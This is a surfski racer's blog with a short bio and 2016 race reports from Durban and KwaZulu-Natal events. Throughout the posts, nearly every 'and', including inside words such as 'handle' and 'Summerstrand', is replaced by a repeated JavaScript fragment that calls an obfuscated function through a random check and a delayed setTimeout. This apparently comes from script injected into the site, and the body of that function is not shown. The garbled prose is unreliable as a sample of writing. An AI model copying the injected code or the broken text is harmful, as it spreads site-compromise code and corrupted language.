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    I was born on 19/04/83 in Empangeni on the KwaZulu Natal North coast to Mother Bambi Edwina May Barber and Father Mark Alexander Lewin. I was brought up in Durban and haven’t left, I love it here. I played almost all sports through school but only started paddling a K1 at 15 years and then progressed to Surfski racing at 18 when I left school. I currently race as a semi pro athlete and compete in events all over the world. I try get to as many international surfski races I can afford.

    I mostly live a life of passion for paddling and the sea. This blog aims to share my story through words, pictures and video that take you the viewer into my life as a paddler. Join me on an adventure. Hope you enjoy!

    Scottburgh To Brighton 2016 – 3rd

    Written by Barry Lewin on . Posted in Racing

    The events that lead to the date change of the annual Scottburgh to Brighton Surfski race just show the true heart of our sport is on the right track. Through a local whattapp group, paddlers simply got talking andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the power of the community started to rally together.

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    The sentiments were all the same, “our sport is about downwind paddling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we need to have the race in downwind conditions”.

    Some calls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the race organizers (south coast lifesaving association) managed to get the permits to run on a public holiday Thursday. A untraditional move for a somewhat traditional race (second oldest race in the world).

    No matter the results, surfski paddling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and specifically, downwind surfski paddling was the winner. This was all due to the strong community around our sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the great people I like to call my peers. Thank you, Thank you, Thank you to all involved in retaining the true essence of why we paddle.

    I wasn’t planning on doing the race. Its long, hard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not really my thing. The lure of downwind conditions was just too much andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I did a last min team up with a good friend Lee Furby.

    There were little nerves on the beach at the start, with more a vibe of joy, happy paddling about to do what they love. With not planning on doing the race my prep was less than ideal, I had done gym on Monday / Tuesday with my fiancé Carly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the body was stiff. It didn’t bother me with the excitement of what was to come.

    We got away well through the surf, which can be very challenging at Scottburgh without any issues andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and set course for the halfway stop at Toti. Lee andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I have paddled a lot together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and found a nice rhythm quite quickly. I hurt in the first 10km with tight muscles but we were able to sit comfortably with the leaders Matthew Bouman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Wade Krieger for the first hour. The body loosened as the runs started to flow, the freedom of flying downwind warmed the heart.

    I think my line was to shallow off the points with the top 2 boats getting away from us before Toti, unbeknown to us there was a titanic battle going on for line honors which came down to a sprint finish. The finish line officials couldn’t make out a winner andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the race was called a tie. Matthew Bouman/Wade Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Luke Nisbet/Gene Prato broke the old record for the race by 16 plus min in a new record time of 2h40.59. The old record had been set in 1998 so was about time we had conditions that the race deserves.

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    We had a solid paddle all round with no mistakes or issues. The feeling of pulling into some really great runs in the second half with a good mate hooting with joy behind you is something I will remember for a long time. Lee’s stoke for the sport only taking it up later in life is infectious, a bug I hope he passes on to many more. We gel really well in a boat together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and came home in a very happy 3rd spot. The first 6 boats breaking the old record on the day.

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    I am looking forward to even more downwind paddling to come with the next event in Durban being the FNB Durban Downwind on the 25/26 of June. With the 2 day window for the event I hope we get similar conditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can again share in what the sport is all about.

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    Illovo Pirates Umhlanga Pirates 2016 – 5th

    Written by Barry Lewin on . Posted in Racing

    Where did all start? In 1957 a group of Pirates SLC member put out a notice to the other clubs in Durban, a challenge was made andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a tribe born. In those days the surfski’s never had rudders or pedals. I love the simplicity of that time, lets just paddle to the next town andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and back.

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    Some 59 years later a like-minded bunch of nutter surfski paddlers lines up at Pirates to follow in the footsteps of the sports pioneers.

    The race course is 27km andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this the light SW wind on the day the second half of the paddle was going to be very tough, paddling half the way into the wind. As a surfski paddler I avoid paddling into the wind at all cost andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and actually haven’t done this race in a couple years.

    I didn’t have a great start after playing it safe in the wave zone going out, getting to the turn at backline in around 10th. I was passing a lot of boats in the first km andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and settles into a line I felt was straight to the turn point.

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    Looking at the GPS speeds it was obvious we were heading straight into a hectic head current, surfing down a run at 13km/h. I chose to head in a little to get out the current which worked in the first half but in the latter part of the outbound leg there just weren’t the bumps needed to keep the speeds consistent.

    I got to the turn can in 4th feeling good that I had some left in the tank to get me home into the wind. By this stage Hank McGregor had forged a big lead on the field, with Matthew Bouman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Wade Krieger in 2nd andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 3rd. I probably should have been with Matt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Wade after a downwind let andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my shallow line cost me a little time.

    The return leg would be a mental battle. I really don’t like the headwind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to keep concentration would be imperative. I hooked into a double andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and just focused on keeping the stroke rate even, holding my form well andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not looking the back of the boat in front. After 20min another faster double caught us with Luke Nesbit in tow. The current helped a big in keeping speeds up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the bunch came home together. Luke andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I had a nice race off near the end, we came down the same wave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he outran me up the beach leaving me in 5th.

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    The result may not be the best but I take a lot of positives away. I would normally not even do this event as it doesn’t suit me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finishing physically strong at the end of a head wind is a break through of sorts. Its part of eliminating my weaknesses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and challenging myself to be a more all round paddler. It is often the paddler that can adapt the best, who does well. This is a good confidence boost, as I haven’t ever paddled that well into the wind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I hope to add this into the bank of skills for the future.

    As much as I was not looking forward to this race (I really hate headwind), it turned out to be one awesome paddle. The overcast sky andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sunrise peaking through the clouds on the early start, was pure magic. The morning light shimmering off the water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feeling of pulling into a run, flying down its face, having the salt water splash in your face, makes one realize that they are truly living, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I wouldn’t have it any other way.

    Next stop is the 5 Beaches on the south coast this weekend, which I won in a tight race with Wade last year. It’s one of my favorites andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and look forward to some wild coastline andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and good hospitality.

    Winkle Surfski Challenge – 3rd

    Written by Barry Lewin on . Posted in Racing

    A small but very elite field line up behind the surf for the Winkle race this year. Some of Durban’s best surfski paddlers drove south to support the south coast races, which are always a standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out of the season with raw ocean conditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and great hospitality.

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    Everyone got through the surf without any issues for the back line start. The pace was set by double, Bailey De Fondaumiere andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Steve Woods. They were using the race as a practice run for the Scottburgh to Brighton in a couple weeks time. The towering Matthew Bouman showed great for to stay with the double for the first section of the race.

    I knew that double pace was to hot to handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle for myself so I dropped off to work with Wade Krieger as the second bunch. We were still holding nice speeds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was happy with the work rate. We were closed chased by the in form Luke Nesbit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and south coast local Gene Prato showing the depth of the field.

    Turning at chain rocks for the longest section of the race, each paddler opted for their own line. I could see Matthew attack the double to get a small lead but this was short lived with Bailey/Steve countered back to be the first boat in at the finish. Watch out for them at the S-B this year.

    Matthew was in a class of his own in the singles finishing with a great lead. He is a great athlete to watch race as he gives his all andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and often has drool plaster down his face out of pure effort, you can just see he love the hurt box.

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    Wade got away from me through the middle section of the race with a great grind in the milky flat conditions. I managed to keep the gap to just 100m or so, which I was really stoked with, in the process holding of some chasers to claim 3rd single.

    I have been in a double recently (as I don’t own a single) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was great to be back in the action in such a class field. I love racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this result just motivates me to put in more effort ahead of the FNB Durban Downwind as well as the Mauritius Ocean Classic at the end of June.

    Thanks to Wade Krieger for the loan of the boat for the race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to Winkle SLC for putting on a great event. The heart andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and soul in these small clubs is amazing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will be back on the coast for their next race for sure.

    This weekends Pirates Umhlanga Pirates has been moved to Sunday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and looking forward to another tough outing.

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    Lion Of Africa Surf Challenge – 1st Mixed Double

    Written by Barry Lewin on . Posted in Racing

    With my normal doubles partner away for the weekend (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I dont own a ski surfski right now) I needed to full my back seat with a powerhouse andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and somehow I managed to convince my gorgeous Fiancé to push me around the 12km in the ocean.

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    I love paddling with Carly, she just loves life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and everything she does so much that it’s impossible not to have an absolute blast. Secondly she is super competitive which drives me to paddle andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and race even harder. We were in for a great day.

    The weather played ball, no wind, tiny waves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and really clean water, what more could you ask for? Durban really was showing off.

    We had a terrible start, my fault. How many times have I done this andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why would you mess it up now? Was going through my head as we passed a couple boats on the way out to the first turn can. Once in the open ocean I took a wider line to pick up a little more swell on the way to the Emgeni River. It worked andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we packed up a couple more places, getting into a nice grind.

    At the turn we met up with a much larger bunch of a couple of faster singles with some doubles hanging on for dear life. We moved through the bunch to get a good spot as boats fell off one at a time. Carly was a machine in the back helping us stay in a good position with the singles pulling us home.

    The race had two surf turns near the end. We got through with not issues andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and came home 4th overall in the long course doubles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1st Mixed. The smile on my partners face at the end was priceless, one of pure joy, pushing herself so hard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoying every second. It reminds me how much fun paddling really is andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to take it all in. What a DAY!

    A big thanks to Lion of Africa Insurance, this weeks race sponsor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and series sponsor Bay Union for looking after the paddlers, making for a very memorable day. Durban winter is the best place in the world to paddle andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am looking forward to the Bay Union Dairy Doubles race next weekend.

    All photos by Kevin Sawyer

     

     

    Bay Union King of the Bay – 1st Double

    Written by Barry Lewin on . Posted in Racing

    The last 10 days have been a world-wind, I am on such a high from an awesome engagement on Monday, Birthday on Tuesday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spending some great quality time with the great people in our lives, over a special time for me.

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    Even in the craziness, preparations for the longer race at the King of the Bay went great. The adjustments to nutrition are working for the longer training andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and events andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even though I was probably a little tired, I felt great leading into the race.

    I again paddled with Clint Cook andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we settled into a great bunch through the first flat section of the race, heading through the Durban port. It is a special experience to paddle out the mouth of the harbour andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and taking note of the awesome scenery was a must.

    The conditions on the day couldn’t have been better. The SW had blown all of Saturday making the route into the NE wind, down to the turn maker a lot easier with a little bit of left over swell. We quickly got a gap on the other doubles once in the ocean andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and used the swell as best we could to keep the speed up, even into the wind.

    At the turn we kicked hard for home holding some really nice speeds. I have to say that this was one of the easier King of the Bay races I have ever done, must be my very strong partner andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happy heart. We took the win for the second week running andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and looking forward to race 4 of the series where we will have some more competition in a doubles specific race.

    Jeep Team SA, team mate Hank McGregor won the single in style from Matthew Bouman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nicole Russell edged out Hayley Nixon in a tight race for the ladies.

    It was awesome to see such an awesome turn out for the event with new sponsors Bay Union andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Zurich doing a great job of looking after the paddlers.

    Next up is the Lion of Africa Surf Challenge this weekend.

    Bay Union Surfski Series – Race 1 – 1st Double

    Written by Barry Lewin on . Posted in Racing

    R1Double

    The winter has snuck up on us already!!! Where has summer gone?

    Well, thank goodness Durban is the best place in the world to paddle in winter, with warm water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and perfect conditions. The winter surfski races are always a yearly highlight of the year. I couldn’t wait to get onto the line to racing again.

    The prep hasn’t been great with some illness recently. The lack of boat time just got me more excited about the events, after missing out on my daily salt water fix quite a big lately. It’s amazing to note how much I miss it when not able to paddle.

    For the 2016 winter I have decided to jump into a double with friend Clint Cook. Surfski paddling to me is meant to be fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I love racing in a double. The last season I did in a double was with Brett Bartho some 10 years ago andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the fresh feel of a new crew has me enjoying my paddling.

    The first race of the season had a “FUN” theme andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was great to see people dress up in fancy dress, paddle with family members andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most of all enjoy the very unique new course on offer. The community around the paddling is awesome andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and love interacting with so many people at the races.

    Clint andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myself had a great start, breaking away right off the bat. We got into a great rhythm straight away andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and slowly opened the gap on the field throughout the 12km race. Our average was really good doing 52min all on our own. This is a good sign for later in the season when we have more competition.

    A big thanks to the mates who lent us a boat for the race. After splitting with my boat supplier earlier in the year, equipment had been an interesting challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am very grateful for the people who have helped out so far!

    The next race on the calendar is the Bay Union King Of the Bay, one of my favorites for the year. Lets hope the body holds out for a full 22km so early in the season.

    SA Lifesaving Champs 2016 – Masters, Inter Provincials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Senior Nationals

    Written by Barry Lewin on . Posted in Racing

    After a fun KZN champs I booked a last min plane ticket down to PE for Lifesaving Nationals. I originally wasn’t planning on going for many reasons but the adding value to my club (second family) was worth the effort.

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    PE is not my favorite place in the world andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my experience of doing lifesaving in the town, are not my greatest memories. This didn’t damper spirits, as I knew I would have a ball with the friends on the trip.

    Going into the champs I was feeling a little bit rusty after not having raced much in recent weeks due to some injury concerns. To get in some extra time on the water I decided to take part in Masters Champs for the first time, which took part on the Thursday morning. I am very glad I did, as it blew out some cobwebs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got the body into race mode for the days to come.

    On Thursday afternoon I captained the KZN team at inter provincials for the second year in a row. I had a decent paddle in the ski race, feeling strong andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and powerful. It came to a dash for the line with 4 people on 1 wave. I miss read the sprint, going to early (way to keen) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got schooled into 4th. Luckily I made up for my blunder in the taplin, having a good paddle to help my team to the win andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to pip the Western Cape by 1 point in the competition. It was great to follow up the win we got last year, even if it was so close, with a very spirited Cape team right on our heals.

    DCIM123GOPRO

    The first day of nationals flew by on Friday with no paddling events for the men. I was able to help some of the ladies from Marine, setting up boats andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and making sure all was running smoothly with our team. I am super proud of our coach Russell Sadler andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the hard work our squad had put in for the champs. Seeing all this hard work pay off on the day was quite special andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and certainly inspired me for the days of race to come.

    Saturday was a big one for the men’s ski paddlers with the single ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ski relay on the program. The conditions were deteriorating badly, with a strong SW buster blowing the whole day. PE was certainly living up to its nickname of the ‘windy city’. This made for some very hard racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a ton of close finishes coming back into the wind at the tail end of each race.

    I felt good in my single ski heat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and semi going through to packed final of young talent, local heroes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seasoned legends all out to take the title. I had a decent start pulling out to the buoys in the front pack, saving a little for the head wind home. Some suspect driving from the leaders, clashing on the apex turn can, meant a bun fight for everyone from 3rd to 10th with a number of the favorites for the title getting caught in the mess. I battled to find open space andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hacked in the traffic before breaking out just after the swim cans to hunt the leaders. It was too late andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I never got the wave the front 4 got onto, coming home in 6th. Up front a junior paddler, who had showed great form the whole week, Mark Keeling took the win from club mate Matthew Bouman in 2nd. Mark is a rising star on the SA surfski scene andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am very stoked that his hard work has paid off into a deserving national title.

    The ski relay was going to be just as much of a bun fight with tons of top teams on the line. I started off for my Marine team, coming in across the beach in a lead pack of 3, handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding over to Russell Sadler out second paddler. Russ was really sick andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and almost killed himself for our team as he stayed with the lead bunch. Matthew Bouman our 3rd paddler went out hard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lead the pack, getting a gap on the way home. I am sure he was sniffing a gold that he had missed out on in the single ski, but the sea wasn’t in his favor. Greg Lowe from Summerstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and caught a wave down onto Matt to take the win leaving us in 2nd. That’s lifesaving racing for you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got to take those ones on the chin, it’s never over till you are across the line.

    The last day of racing on the Sunday held another 2 events for the ski paddlers, the double ski andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then the taplin relay. A last min change with Russell being sick meant I had the powerhouse of Matthew Bouman in the boat with me. We had a good heat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got a little unlucky in the final, with more boats catching a wave down onto us. The photo finish went the way of the Lowe brother who really paddle well together, with us in 2nd. Seriously tight racing. The taplin is always fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and managed to catch a couple places for my team to come home just off the podium.

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    My club, Marine had a strong 3 days finishing second in the seniors. The stars of the week were certainly our ladies, who scored a huge amount of points for us. The competition was won by Fish Hoek, a fine showing by a team with no weaknesses. A number of their younger guys andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and girls are certainly coming of age andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and all stuck their handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands up to be counted in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out of the water. Deserving winners by a very committed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and passionate club, who won with much grace. WELL DONE Fish Hoek.

    On a personal note I left the windy city with a hollow heart, very worried for the sport. I loved the racing, I loved the people but the champs were really badly supported. With numbers dropping andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and little being done to reverse the trend, I battle with the accepting mindset, that all is well. It certainly is NOT andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the sport needs to evolve to survive. Will it still be around for our kids at this rate? I really am not sure.

    KZN Lifesaving Champs 2016 – 1st Single andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1st Double

    Written by Barry Lewin on . Posted in Racing

    The craziness that is this time of year with organizing the last race of the summer surfski series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the final prize giving has keep me from posting this story for a while.

    CO9E9241

    The last couples weeks have been very hot on cold on the training front sorting out a shoulder niggle. I would start training again after some physio, only to have set back after set back. The consistency I crave in training has been something of a distant memory andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the confidence as shaky as the training.

    I got the weekend off to a surprising good start. After a long warm up (need for the shoulders) we jumped straight into he single ski final on Saturday afternoon. Russell Sadler, our Marine coach took it out really hard on the right of the arena andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with some effort I managed to mow him down by the swim cans to take the lead. I stayed out of trouble to take the win, which is my 3rd KZN singles title in the row.

    The next day I did the ski relay andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and taplin relay races, getting 2nd in both before winning the double ski race with Russell Sadler in the engine room. It was a fun weekend of racing at Toti with really great weather to boot.

    Next up is SA Champs, which starts tomorrow. The first day comprises of the National Master Champs in the morning followed by the National Inter Provincial. I have never done a master event so not sure what to expect. I am a little rusty in the spec ski so any race practice will be great. It is a great privilege to the captaining the KZN team at the inter provincials in the afternoon, after captaining the team last year, to their first win in 8 years.

    Check back for more updates from the weeks racing.

    Photos by Graham Topfoto

    Kicking of 2016 with Patience – Varsity College FNB Surfski Series – Race 3 – 2nd

    Written by Barry Lewin on . Posted in Racing

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    With a new year comes’ a fresh perspective, new goals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a blank canvas of opportunity. The last thing one wants is something holding you back from a good start to the year.

    Well, in some ways, the year has kicked off to an amazing start. My first event series for the year, the Varsity College FNB Surfski Series, has been very well supported but on the personal racing front however, the year has got off to a very slow start. I have been battling with a pinched nerve in my neck, halting my progress andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and putting my training on hold.

    Big training sessions have been replaced with some painful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intense Physiotherapy sessions, with no paddling for days at a time. With a little voice in the back of my mind going, “it’s a new year, get going!!!!” Staying off the water has proved to be a serious challenge.

    Patience was not a character trait I was blessed with, making the last couple of weeks quite frustrating. Being off the water has made me slow down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and think about my goals for 2016 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how badly I want achieve them.

    I have been working with a skilled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and talented team of people who have not only helped me fix my weak neck but have also assisted me in other weak areas. I am running better than I have run in years, been more consistent with my foam roller, worked on my posture daily, stretched more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, very importantly, focused on technique in the paddle sessions that I have been able to do. All of these have aided in making me an all-round healthier human andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in turn, a calmer, happier person too.

    Last week, still a little bruised from Physio, I decided to take on Race 3 of my Friday night surfski series in Durban. After missing the first two races, I was excited to simply be on the water.

